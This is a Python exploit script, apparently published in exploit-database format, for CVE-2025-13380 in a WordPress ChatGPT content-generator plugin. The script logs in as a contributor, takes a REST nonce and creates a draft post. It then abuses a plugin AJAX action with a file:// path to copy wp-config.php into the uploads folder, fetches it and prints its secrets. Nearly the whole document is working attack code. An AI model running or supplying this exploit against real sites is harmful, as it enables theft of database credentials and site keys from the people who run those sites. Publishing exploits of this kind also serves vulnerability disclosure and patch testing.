# Exploit Title: AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read # Date: 11/16/2025 # Exploit Author: Ryan Kozak # Vendor Homepage: https://wordpress.org/plugins/liquid-chatgpt # Version: <= 1.0.1 # CVE : CVE-2025-13380 import requests import re import sys import argparse from urllib.parse import urljoin from datetime import datetime def main(): parser = argparse.ArgumentParser(description='CVE-2025-13380 - AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read') parser.add_argument('url', help='Target WordPress URL (e.g., http://example.com)') parser.add_argument('username', help='WordPress username') parser.add_argument('password', help='WordPress password') args = parser.parse_args() print(f"[+] Target: {args.url}") print(f"[+] Username: {args.username}") # Login to WordPress session = requests.Session() login_data = { 'log': args.username, 'pwd': args.password, 'wp-submit': 'Log In', 'redirect_to': urljoin(args.url, '/wp-admin/'), 'testcookie': '1' } login_response = session.post(urljoin(args.url, '/wp-login.php'), data=login_data) # Get REST API nonce from admin page admin_url = urljoin(args.url, '/wp-admin/') response = session.get(admin_url) # Look for REST API nonce in various patterns nonce_match = re.search(r'wpApiSettings.*?"nonce":"([^"]+)"', response.text) if not nonce_match: nonce_match = re.search(r'"restUrl":"[^"]*","nonce":"([^"]+)"', response.text) if not nonce_match: nonce_match = re.search(r'wp\.rest\.nonce["\']?\s*[:=]\s*["\']([^"\']+)["\']', response.text) if not nonce_match: # Try post-new page post_new_url = urljoin(args.url, '/wp-admin/post-new.php') post_new_response = session.get(post_new_url) nonce_match = re.search(r'wpApiSettings.*?"nonce":"([^"]+)"', post_new_response.text) if not nonce_match: print("[-] Failed to get REST API nonce") sys.exit(1) nonce = nonce_match.group(1) print(f"[+] Nonce obtained: {nonce}") # Create post via REST API rest_url = urljoin(args.url, '/wp-json/wp/v2/posts') headers = { 'X-WP-Nonce': nonce, 'Content-Type': 'application/json' } post_data = { 'title': 'Test Post', 'content': 'Test Content', 'status': 'draft' } response = session.post(rest_url, json=post_data, headers=headers) if response.status_code != 201: print(f"[-] Failed to create post (status: {response.status_code})") print(f"[-] Response: {response.text[:200]}") sys.exit(1) post_id = response.json()['id'] print(f"[+] Post created with ID: {post_id}") # Exploit SSRF to read wp-config.php exploit_url = urljoin(args.url, '/wp-admin/admin-ajax.php') exploit_data = { 'action': 'lqdai_update_post', 'posts[post_id]': str(post_id), 'posts[title]': 'Test', 'posts[content]': 'Test', 'posts[tags]': 'test', 'posts[image]': 'file:///var/www/html/wp-config.php' } response = session.post(exploit_url, data=exploit_data) if response.status_code != 200: print("[-] Failed to exploit") sys.exit(1) print(f"[+] File written to uploads directory") # Retrieve the file # The filename is sanitize_file_name(parse_url('file:///var/www/html/wp-config.php')['path']) . '.jpg' # parse_url returns '/var/www/html/wp-config.php', sanitize_file_name removes slashes # So it becomes 'varwwwhtmlwp-config.php.jpg' year = datetime.now().year month = datetime.now().month filename = 'varwwwhtmlwp-config.php.jpg' file_url = urljoin(args.url, f'/wp-content/uploads/{year}/{month:02d}/{filename}') print(f"[+] Attempting to retrieve file from: {file_url}") response = session.get(file_url) if response.status_code == 200: print(f"[+] File retrieved successfully!") print(f"[+] wp-config.php contents:") print(response.text.strip()) else: # Try previous month in case file was written earlier prev_month = month - 1 if month > 1 else 12 prev_year = year if month > 1 else year - 1 file_url = urljoin(args.url, f'/wp-content/uploads/{prev_year}/{prev_month:02d}/{filename}') print(f"[*] Trying previous month: {file_url}") response = session.get(file_url) if response.status_code == 200: print(f"[+] File retrieved successfully!") print(f"[+] wp-config.php contents:") print(response.text.strip()) else: print(f"[-] Failed to retrieve file") print(f"[*] Tried: /wp-content/uploads/{year}/{month:02d}/{filename}") print(f"[*] Tried: /wp-content/uploads/{prev_year}/{prev_month:02d}/{filename}") print(f"[*] Response code: {response.status_code}") if __name__ == "__main__": main()